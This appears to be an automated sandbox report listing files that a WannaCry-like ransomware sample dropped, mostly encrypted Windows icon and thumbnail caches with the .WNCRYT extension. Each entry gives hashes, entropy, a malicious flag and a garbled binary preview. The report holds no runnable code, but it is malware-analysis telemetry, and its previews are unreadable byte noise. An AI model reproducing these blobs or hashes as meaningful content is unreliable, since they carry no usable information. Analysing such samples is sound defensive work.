                                                                                                                        SHA-512:CB01D53E9C0396A6E501FDA678DC0811C2C29483B128AFF0111463BF1CB1ABDC8D578372F46C965EFE8D2AACFFBD96465B4F0440C6D0B4D6B8BB915C2968DB9D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......[.h.T.2...w..t..u6...I...p[..Y1ZS..#p.....-.J.....u)......+..C.....yK.u...p.p'y.....'YI~P...js...27.Q.t./+'..........g..u.BKUa..2.V...{{7M...{'...S.gAf.y4..@...^}.z..%..R...*[..h.p.U.?.P....... y...IP....=..C.....w..kv...6Y..........e...S.(a....... .....'...U.v"erQ.x.M..O%r...,H%.N...R..b.%.. -....E...e.#..zX...r.O.r...o.(.^.&..[.b.s!.X..;."+p...'_...ku*QcS;*.......f..w.M.u./(T7...w....C....R:..L..H............e...n.p.#.....1...*O.._.s..^.p....[...\..~.../2@......$..#.G.Gn..H(.p....b*H...t..G.5.-x....a..9.......7..y.PMy...K8%A.=Lf.......3%....x...)...j.E.......K.A.....J.sj..7...}.x:7.?..U.%..J.R..|...r2....}.W..G.F.E.H.7.eV.1..-.....1T..U.....P...k.+a.I}'..#..O.}1.I%..Yq.P..Wy..92..E..?.m.C...C1*o&0...I..d.*4hG...8f..G*...K8.x.'..@.{r-Y............#.".......:...c&...}.=q......A.|\........O...{......4......H{.j...M...Y.....n.U.....A.........x.$.G...oaJ~....&..l.E.7....R.zht..r..B..x9..?A.t....,gQ'..L...C.>./.3@1.[

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4194584
                                                                                                                        Entropy (8bit):7.999963559887717
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:98304:ZQcZObqXOQsoBHkL2xT20sLC+3aG80/8IZqWQYS+:V7XvBESJsLU90/tS+
                                                                                                                        MD5:902EED3221518C15DB0E8B1A6ABF7EAE
                                                                                                                        SHA1:89163DB2CD488E834F10C33BE03832CCA5A00BE3
                                                                                                                        SHA-256:B296C6CC8EB1D4A6D96DE200DF79DBF81E8F2656A6053A0E27E0B3DB64C41FE7
                                                                                                                        SHA-512:6C285935B7483D44F8716E3FC8D24714FC8775E8CC81180CB65EA50D16F8A3F4E67EC3BA25A2D7980C4852E81BC2278E12A30B7E4CB715080DA7DCE45F12CAB1
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........P..,."..;.q.v...39..XJ..o..@......M.6?.I.(...f^(.$.m9...;.i.o..>.Jy..$......u}u,v...[.6}d.X...lO>.sm"..s.2...0.i#Z./.L.k..6s)&..I....jiO.G.\..OV..4....k[.V...W-......V.......K.......N.l.k........>....:)o;@J...U..Fq}<.ez..Q...B+...:.6.<.......@..........L.0.s.U?...VdY.b.J..u..-.oV...G......HP......x.8...!\U.4q..?.W......W....n...J..g..m....U.a.V.@){.${.......9."F.[...w|.U..|..;...M-..h.Q.Bew'9.PZ.,.<...W..rxr.*...6..u.....~..!7qp..r...%.9..(H...I.k..6.....v.@SB....S. .bEz..;|..-.>.+N..F4m.,.E.......?N..qs.;.WD<.Tw0QD..2.uWc.w....E`..Q.3...;*?...;.A>....o.e..\..9.>....W...^j..o#....>>.......!'.....nsk..p.h/..Sg...@..1.u.....-:.d...2.e....@.1.Al.@.L.>.xo.X.\..l..........~.q.....A8.Smk.z)%.>....B..a.h..X...x.jH<.....:.).{.'.e..O.F....5jZ....f:.%....!..e......J'...3t.p....$w.O.....CB&..G.e.S..iC...dh..kKX...v.w.c#}...y.)..0@.o.!7:T.T..+.........O..6]..Fa.....EQX..<..(..N....[,J.@.._..5.9.!U...x.V.z....XK%.Z.q.|.<.N........

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.203536312430382
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEYwXTZ+yxvHGF7o+BGSNnZ59P1A2ySG8QaYtmQ6AjprgSp8y:bkEFXTZ+y8V4S1517G8Qau6Ajps68y
                                                                                                                        MD5:5C01AF4DA928319193847DDDE98227DD
                                                                                                                        SHA1:4465A49DEB982A7C5A21CA2E90F4B63AD6527731
                                                                                                                        SHA-256:A3EBB68B6FD21E1C54A98901A69EB7D884118613DC77F1A43B9D0C4DF1AA244E
                                                                                                                        SHA-512:D4DD657FE9DAEE35B922D2BCA74C5C21F124B863588F7949448372BA9480D5E907746B8F157F9C52B9FE5F007E051B1A0804665A21E57D134A0706335AFA0395
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......M.......D|....1Y.w......Oy..E!....z.3......#..AN.EL7..f.~&.mx6.Z)..q...L.w..W..Go...{.W.;..kq0..*}Q....4.1rY.2WU..P.D.m...Su@..p.....Vl.....F.....+."6.<......c;~...[.^3K.J.-*...#.q.HR...;.y..ktI.....;a.(.8Pg..o.kK5...M......@.q......:.g..D3...................^..0.......A..p.;Wg2.).

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.29818952839265
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEyyT9z0ALwz4lYBNntV+7Id+oDBoxi13A6hEYGK9y8:bkEyyGALy4lOu7Id+sSi1QKEYGK9x
                                                                                                                        MD5:71C4C76744F6C9DDDBD8C833B60D04AB
                                                                                                                        SHA1:91D5B3D58B2224948BC4F1E8D807922A2AD2B892
                                                                                                                        SHA-256:15A323E1E692812EE9FC9472872449BF4CB3DE273A71E25A79F8CB68523D90D4
                                                                                                                        SHA-512:B7ADC469215ECA279067D38A172F3E4E4B403908C7C8B13F9CA326F5630B4B376E12F2578D9C7E68D1A28016A025942349A71BE883851F70D54EC530236136BE
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....aCH.G]...u........w.Z..)z..8B...;~5...".i..k...v.......}.w.d9qnc.Ol...d..O.?w.s....=U.!.o.....#....s...-.".,....&.!.hu.owj|........0...0...J'. l..N.vd.`...=......-..i.5.t.}.._..n.S\....2.1.p...b..`s...2.PD.dN...........@...0......{..'....................1Xr.z.............W.`..-q.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.301600226954443
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEIJpcTt50R+xhGM9d/0ziBklu574rUy7jhm:bkE/t50R+xQMn/Eiqc7YUik
                                                                                                                        MD5:C5FC5C96D2F0D041B0C9EAEFD8863C42
                                                                                                                        SHA1:FB52105D450285311533A59ED6A705B531458EF3
                                                                                                                        SHA-256:0923B03E0241273CF5AE3576B4EF59AD850C30E6ECCAB8A0909BF212E741A765
                                                                                                                        SHA-512:301341D1B9F81A03342A6E18B2DB12DF17766ABD34FDCBC9B42198759A643FB6DB1616A1C0B233EDFBAF98BBFE69A4CC8914D9BEAB039A32911A4E3A6B257907
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....#...V. \4P....;)@..S!.B......z.^..o'r..2..r......P7g.....d.e... .8..H.VA..6.~lQ..H..h.'...^lo..w..$.W.f...".....+.sk.i.Y.../?.3.9.k...3>f.nW+...f:..t......<..u......=..'i.w.N|...`....w.&.,.z_..FK..x33p.../@........q.g..]......G'..Q.......<Q.....)..............b.mv...O,Y.........p7t...;.j.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.221586533104542
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEgGY/G+x08iJNVc2age1iSS6o+lvmXveIzvJp6+25RGYbFLy/I+ibc8H:bkEqu+x05Vc2Teofb0uXvDvJp6+26YbJ
                                                                                                                        MD5:47066255D918F1DB5BF69DF632070563
                                                                                                                        SHA1:77ADAD21DC4E9077FC9305D92D915CCC3068D5A6
                                                                                                                        SHA-256:C57E7107268A96133F0A9DAB20BF3DDBE83C03F3BBAC1A69BE6EB48EDF3D08B7
                                                                                                                        SHA-512:43C432C8AE98D727DCC9DF6DF6B3790B4E2478AFEB46C681C4E266948A8DDA75B227A5D24CD78BC95E01495200FE0E087A6C92EDB14CDAD7F3CFAF41D81D9BA8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....#.0..t.MY.8..^.....xa..a....\xP...b(.W...`...&.S.'.c...-..E1..../Z....0.c=b..S..1Qb.m.....y....j.aI..v.)..S.a....n...VQ...(FN.I.\.......aDj.....k..g..pX...9..i_a.;..#...-.4.w..hFKL|E.4....i.V...#.......%....Jd...)&.......( n98..0..A~..z.J..h?.................6?e<.....H.c.y.....?z.......

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):116776
                                                                                                                        Entropy (8bit):7.998506668845984
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:6ddvzXdTd1rNMkEbabrL9EG2jeWPobwUpkdX0iF3aVk0wv3Ugc9cVud:6dRztT5TEbaPWGGUpmb3Ek0w8PGkd
                                                                                                                        MD5:E865733B3D05B8C8335549C2AF97DA62
                                                                                                                        SHA1:3319B701B5120F255970357ABC9CE84BFD6855E4
                                                                                                                        SHA-256:4E3E900C10F7A34A1EB4AE57C81440791980695C4C2F90576A5D5BE89B0896B7
                                                                                                                        SHA-512:365645C6B03A39E139ECC0F0CD6E713E9B71E783E02C4C298B33C134ABEFCD0B931F60FC5ED73E26CDF86613603C559231295D067E70191323E9CB6567A44B6B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....}A9*.......?.v..(....?.W..{...}.WY....5.6........ .....XA.+.W.=.j.To.........=D7.H=..n?.>0.......|v~`N@......,..y........:.=...M.... ..'....IC<~.>y.}.(.PF..C}=:s.-......:.U.-Km.6U...,h..G......aC.....J).Eo.+.1....v3.B.K..(..s....;+.RH.a-.a|............k;2+..J.Q.?..DQg.h}.{...w!|...\...t.(Q=g.....,...9...l.e.........8....X..I.Wt..._%.....P.q.."2U].f.<`.xMW".q.z...?e.U$<.R..0..!..W.:4...Xi...mfze.S~\.~.c..~..=.B+..?......?.=7.cX...u.RG..................)..x..R.T_..[\5[.M...j....!a.@.....E.v..@n.y..j.&..{.m.o..y*Y..x......}=...+EO.8.HD0C....sQ.".......7........y.Wv::.t..5(....Q.8....s...{...Z)....R.c..r..RAQI.w.E7...'..K....z...3%..F.a...U...y..&6....-...zhJ.<to.[-.s`.......r#P..+Xh....5.N.Su.&.W{9.%......Wc[.....nm.A.X.i....{....P.B!....'v......,e"...u..y..Y....;...{..(@C.?...}....wM..=..qm..<.&.8J3.W.}..+....xJcf...d.-.J....%....a.J...Q........q.[.\.wz..H-..W|..3.r..n_.3..km.oO..X...*M....eqr]........:O.MnQ.1..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.230601737954329
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEXAk2AYneZd1NM0Ls3s4zgGNfmbDYhNCaqVJeIzD8Dbn:bkEmA7HM0/4PBwDoNJIzcn
                                                                                                                        MD5:4C4197BE30400D75E9088DC86656D4DB
                                                                                                                        SHA1:E208DF87ADFF038C135582B66DC8CF9C08A6D0BB
                                                                                                                        SHA-256:8AA444C486BB911FDEFC9ED53F8296FBA6A5D68ED48CA7BD74B27A4BC42337B2
                                                                                                                        SHA-512:90F81F0A6E58ED1991BB51906C4B60CE6AF3BE5D801B8B0E7039506D82C7E2406F122CACC51B382842CF09BF32A18E3F2E1E0871A8F1FF6820AADE93F91544B2
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Z...U...R..V.RAi=,{B...A..E/.~.j../>..B7...D.;...i........k......SUT...=P#%cH..X5......!....+r..X..c...f.3.....D'u..w:.IYyCP....|..G..@.}.a.......F.pa'.JU..~ ......D.'H1.%........}..........&.-"f.....=..r*7..a76.f..J......x.%b .....7}d..S.G.n%+............. .G~.2..N.d#...H.../9[....06&~

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.287260331167594
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEJTargWTw/FSaWiOJForhW1Yn3tiEU9XWVPD76cYR+HidvavRgOq:bkE6MUca2AEQEU9APScw+bv2z
                                                                                                                        MD5:48CA529932ADE54715975DD8B1BE361D
                                                                                                                        SHA1:2EDE5411FC7DA31B67A817675AD8CCF044E9A78F
                                                                                                                        SHA-256:EFED9E0B2C55322BD7072CD718CF104CCD8C50AC836F1EEAB85327CAF46334F5
                                                                                                                        SHA-512:CCA7E7BA6F97D240341993F825EB657A24B47E6D6B991004FE36A75F4A120234BFACF9EA7E7E6D1D24F7FD87B3B8BBF84DD03970EAE9F28875457A0D2DD0B925
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....e../.......+x-<B~KT....,..MY.m<.........F.y.j.p........'Y.....f)..{..N.0....98C..q_..N(..4..7W".2......_.......*.)..K.M..3P0...{R..cG...&..^vuE!........e_..6.Q.O..0..p..ia.....@u....(..KX.y\.w.....QE...&5.m.|k^.......gub`.d5{.X.NVA..G.{...2..R..............$....p5>...<.S..v.@..iH..H..c|.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.180644257917901
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEyP8Sa3sRHHicwvHFa3+1rFgz/p+aJL5Ow5aT+M/gqBJGOuES/V+5:bkEyzagHCvvFa38FS/xp5aCqDLS/V+5
                                                                                                                        MD5:C3D30B451A30E8DC6786782E09026B67
                                                                                                                        SHA1:82D1245D0FF1615CCCF46FD29E6862B25B1C5491
                                                                                                                        SHA-256:B9BF3D47293F1F398255DA55EFE8424BCC9EF32295AC4CDB910E1BB01A5220D8
                                                                                                                        SHA-512:A2247850FE2FAA0363C98C3E6497EB250396B5B05F5CBC93A62EFD25F8DEF8E90FE9E258765219DB92B07D42274467EB760491039918894DA02D3C215462FBAF
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........F.$..... +u..76q&:.Y......%......J.R.cq.....Ck...Xv.......V..<U...YN..Mh.^/.^..?.^6f.....h....uz.\..S.....3Fw.....N.!2......"#n......Y.|.~...l.nl.i..x|...*M...v.%.a......@.R....gS....q...R*$..x......A..W~R.<.....1NP..B..#[..:}%wcs.T. d............8.U~......*......zc..A....W...

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.160337297719996
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEFjKRJZJZoIDrZxfVRm9NyvyPg/8PtqmqlAeMs06zql6CbkW6s7qd:bkEERXJZoAvfm9NyEy81ElLQ6O6akWHq
                                                                                                                        MD5:3C48C2AE46E2872AC66B4DC23FF458D8
                                                                                                                        SHA1:7A399980F9CAB8E00AC4E9317BA41C2803624833
                                                                                                                        SHA-256:82E1EF4A0551C456A71C0D6A0595502CA3F70CC6EDD99A3A156C5CF1A7CC6B43
                                                                                                                        SHA-512:F37C8E47273ED5355E0E47C3C93315435375130CE7AD67B92314F4D5A20C90B594D7DE4C713DC4F1A106A8F57AEF4C25DCF35EB13A4E1F7F1B256A0E23B71144
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....5....s.g..}\..(.._.Hh.s..B+RHlO...2.G.V./1.er.G.......`....Mw.&..*..r...I.Bz?...0.?.......O...W.e....U....+..kuX.%z.SF.E.F.[(...s..iE8.1...k3...^.!..*....IOs.y..k}........A../C.i.R.K.\..~r[.....3[......_...Lo.8r6....U_S....d.y.r4....p..............^....+3.j.{.w.X.&73.B....B..8

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999826031605475
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:FeGBNejA5hsFXxFuLZ7eDf2eMuzVnPNY6jbV3HOJYuzA3sqc9:NNudx4JeDKIPNfgJm+
                                                                                                                        MD5:75761C059596FA89E3B4B75E95B1F706
                                                                                                                        SHA1:D4A269DF9E7F0AD69B6DD3C7D3B4F7BBF9BBDD2C
                                                                                                                        SHA-256:79886BEAD782C4BC197178D0860FD468E1C92F891E0ACC9953B0711795E969E5
                                                                                                                        SHA-512:B096FF4BB4EDDA1058E42FFC425FD1DCA138E50E0701C58E8660C92E07B1BE9D52723CA7C09962CCEF8D5E48271E33B4E6D51783FCCEF3C843ED4B0E6ACD5C41
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!..........t.b...~#.."hB.._.Q.#..p.......W.T...C...-:..O.QP.V3.Qd>Y^?....(.Q..3C.:.5l.........oL.<.t.B...#..(..(..^.|....47..eu..P.|......r.}....|...f.3...E.1*.y...#.i.."...YH5M+L?d.......Y{.#.i.......%....t].{..?........Qm7......#HV.W...s...}:..............,V.A..W.0.0.&..k.{r..Wd.tT(..JN..q.Y....8^4..6..L.{g..m..4].u.I.:.W.+.+.:m.....Z....E.....!d.m_.... .........W.'Vu..J.q.t........K.J.tw6......C.<..08.I..<.+a...."T.Q.....R....6.G.x......@..>Dt.J........h.e5.0.$........v.}..G5C...C...5..e....J|mr.y.......././....IzVj..$kuQ...Ny..... .-0./.r..,......Y*..h4B.I..:.|......'k.x...g=.+....]...^...l0o.k..........h.K..Vg.l...p....2T.9.;..M.%.-..#..z.0........G.().j.F=......0.=[/............c...e~.Y.H..O..K.%.$r8Y.. k...w+fsA..5.4...l:..v..t_5/...g,....EW.<.....O..\p..(.%..../.M..5.c+ux.mR..{.i.u...c.,....J.7...^...O..N..x.i.M.....v...vBw...B.....^...........i.....X.B_..X^..d....~.k7.FD.[p..%.s.....?c...I.-C/.......R..w.....w.^...D

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.154507087933323
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEdigVjG7h55kERk4r5hWD7W93j4MZbZFzhvUQoHxNkQuDGra3Zn:bkEMtO2k4rTlBBZFbUHxNkPdp
                                                                                                                        MD5:DD2A2461D95BB0C68613DA9B6A4E0ABA
                                                                                                                        SHA1:D77DCE6C39DC2A5007D42CC25C4CD4D49E155953
                                                                                                                        SHA-256:27D5B6C404287D57D9E3BADCC7596C481B915718283AE26BA5031611524881C1
                                                                                                                        SHA-512:DB4DBB7F9AF4E7EA1C6C365B60714F6429E5DCC54CFA4728774780E13EA9BE6A7F623036BE2229EA512A27A9B186AF77BA05B671275B35B9944DCED769876795
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......;H[K.&..vi...1z{9.....j;..CeC.....j...x..Q^..p.C.xv..@....9.dt..l.G.D...Omv.._........o\fP..KD+.X..)..ZA.gv4~%'A-.0.c=m.].P.f^RR-...|a..p.R.Y.Le...t.i.z...|`mR0D............U.....9u4+..................xUk...mq...A... U[U.mv.Q.@..>t...n...P......................&.hVFvg.|&.+.......c..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.9998108796279865
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:LzoKuB3RvOLz8cu/CzsS8Al5k6AtT7BM27zVqnafjiVpvh1MfHhPS:3ot3RvQ8bVS7lqF6Lab8vhshPS
                                                                                                                        MD5:778AA9A2F39797E4363663A87171F07B
                                                                                                                        SHA1:80928D63201DA4A11D8B1A1D533BCF9EC0C9EB64
                                                                                                                        SHA-256:15A9150CCA43B92C8DE6EF3879B3E5676912B5BC839E12F4E9FDBABCDA0D2C61
                                                                                                                        SHA-512:0E901C07DCDF4B63F8F2C3007220B3299A62FE65D1B2978C3217F969D21D3D0601D0B58E31C78E1D2B3E4754AC93EDEFBBF15224EBA20625C37B34DA8EA231CD
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....G..p.<>.FHV.."...u._?i.."e.L.Q.?..{..).P=..+..=........\......&....I...3O...6..Y..0o.........3o|k..cZ....L...l.b.......7.$..4....6........}!n..<..6i.K[[..'WQ.&;.....p..YX...Y..q......D.^ S..P..E.qK...]..N."'f.oD..f".K`..{..x.J..".EN..A..`X.z..4.3...............wy].....Dx..\X..Z.........N.+U.*)Q..d.Xb.Sl2.N!..m..;....)....]...f@..........J^.9.Zb....."E^...|.3,.2QZ.<..(W.......,v...9.......2......qf......r.....{........qqX....Q}F.6.O;.)../`..b. .\.O.tW.?.[STR.;.e..,.!....Y..n...t..H.....u.... . j...<..z.[.V..jT...4p..5.#.9x...O2.>Y.....o~G.J.qs....D<...E..p.."...KF.R..U.....d........Q.G$.p(..1X_......}..x.I.....K...o...7..g:...5....EH.X.i....tk./.....h..a].11f.J,q./..C8...9.G.=3.D.o.r.8..-.........P.nd....MI.1I..{,...3.^..R...>..F=dt...?.9O...o/....P ..gq%,L}......\.....e3.K./9.y/.Irkx.R.-..)._....u..QUBf0.(b..vj]3.b....H.....Vs-......o)*y<.jK>.~@...N[7...z...(ar.?<4...dzKX\..[.P=,g...2!..x..n....m..Z.M...K..W.E....6..Q.)..4Nc..&.'Q

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):312
                                                                                                                        Entropy (8bit):7.260691629741151
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:6:bkEI7FqY87a7BT94/SXQPc+UGYMFECm5tG2NL7GxQkA3n:bkEF7aL4/SqXUNMF5sG2x66kg
                                                                                                                        MD5:2F0C7EAB2683A988A507BF5B3C61DA16
                                                                                                                        SHA1:5BDD71C65271EB4A209452D521E01F8269C8690E
                                                                                                                        SHA-256:ED9804F227B92C3D5525066CBDEA7D39D70D33822A483C2B9FF5C638D6C0921B
                                                                                                                        SHA-512:75B68CCA480C9A9FA42D2ECA9B219C0F55EB9FD6B76A71E6E4960C85888684ED664236CBBC6E392838DC8DC316F79C96EF73FE15D4AEB45D5550CD0016790B58
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......8.....%...u.#.),..VE`Q^.M!....#3.,1C..x..8-O.....:..(v..}4.^S.:..H..........#...........\l.V..w.n..(!.....Q.)......M..KD.......:...SV1.d.......4>..f.....K.....B*S.i.+..{........1....G....b...k8.0.U.....D&..J..|/m..D...:.{.F.XK.7./..)....j......$..............SVL~...e.Is..3c.L..K....N*._.

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999812206067237
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:594ZRzOpRxrRuj/fee59n5T5Jxp8DHIFfQnJe33Ehd:594vzOfxrYjn39RtpTFQM3Qd
                                                                                                                        MD5:4B36F40AB101AE1D363F4A6F238CF3FC
                                                                                                                        SHA1:50CFD2B33C1566E68519C9BAB4B011C91858CCDD
                                                                                                                        SHA-256:7A8E3CDD12E075EF8AD2B561066C2B3A102BB55D2A7E0586AFF533A19D6C8944
                                                                                                                        SHA-512:CB512E961D385558E4E22267D50F44E2FB4EE0B939B48E34DEB77F4DE9EF3C3E752A582B776334E327326862815827B7ADAC37DC1CADF4FF5E7B5501D17FC30B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.......4xHj..P..5a..9.d..O......pq..l.pMF$.P...<]........3'uC....{5..:.L.H.P.V...~.G.:..-N8H]..T.t8..T.........+.L.....h.|.....u..d....r...J....tI....r..`1j.N.6..$P.rE.Rn[........P... ..XY?.Z|....<.{.h.;..jC.....`_.%....P...+...R.....i.V..b..Z7p.....I......................(F..[W_...0.$.T..#..ez........7.U.6.o..W.]..........._....]..]....Gv..*R...?p....:1(.9..o..S..I.U...#.."(........].R..R....H.....'.P..W.../.)!O......_0.....<>^.).;....}..z..w...E..e...Ez`.7O..{.....&..q.Z..So....e.3..CT..wr}.].z3....!..q..gDd...eni.;...^...r..j;...0..F5....z.$.i.\3..u.|.V..s...:..."....9...a....4.=.........S.r.n.6.X1.p?..&.>...`....C.aN...^DW.$....o9..o..X..)-k.b.v.pa.0V....U...O...\.<X.?J....h...x..;.~ZT?Nd2.....g.$.(.n.e<...V...]A.7.....u...l..#ntUS..S.....'r..2..&.'...G..4...Z*......G;....mL.H.u.....@5..r/.....W........;...+.}.9P=i...~..?.$v..3.!...&..f(.aY<>o..rz..l.....,).z...J.+..7<)....B...\~.K..F......~i..}..p......d.=...)9.5.PN....V..2..

                                                                                                                        C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1048856
                                                                                                                        Entropy (8bit):7.999825826131913
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:Ep77UOlqHehPMn+6p7R0TosGFXH6ReNcEzSC:EVmHeh0n+6osjSC
                                                                                                                        MD5:8C7E4E70F46B8A8CA626790C2448C15A
                                                                                                                        SHA1:77D2E3B4153DD020D191DF70C4A0CC06C9AFFD8F
                                                                                                                        SHA-256:3269F69C483895DCF0FFF144E4B3897CABC23423B58297F626A4130296C7518A
                                                                                                                        SHA-512:F0DF16C3BB351499970667BCD222C22767852E89365E888561764C8D5CAA9AFF861128B03C1B04D217323F6BAB18C0E72C1C8D122BF3C1C7BED0EA8727EDC340
                                                                                                                        Malicious:true
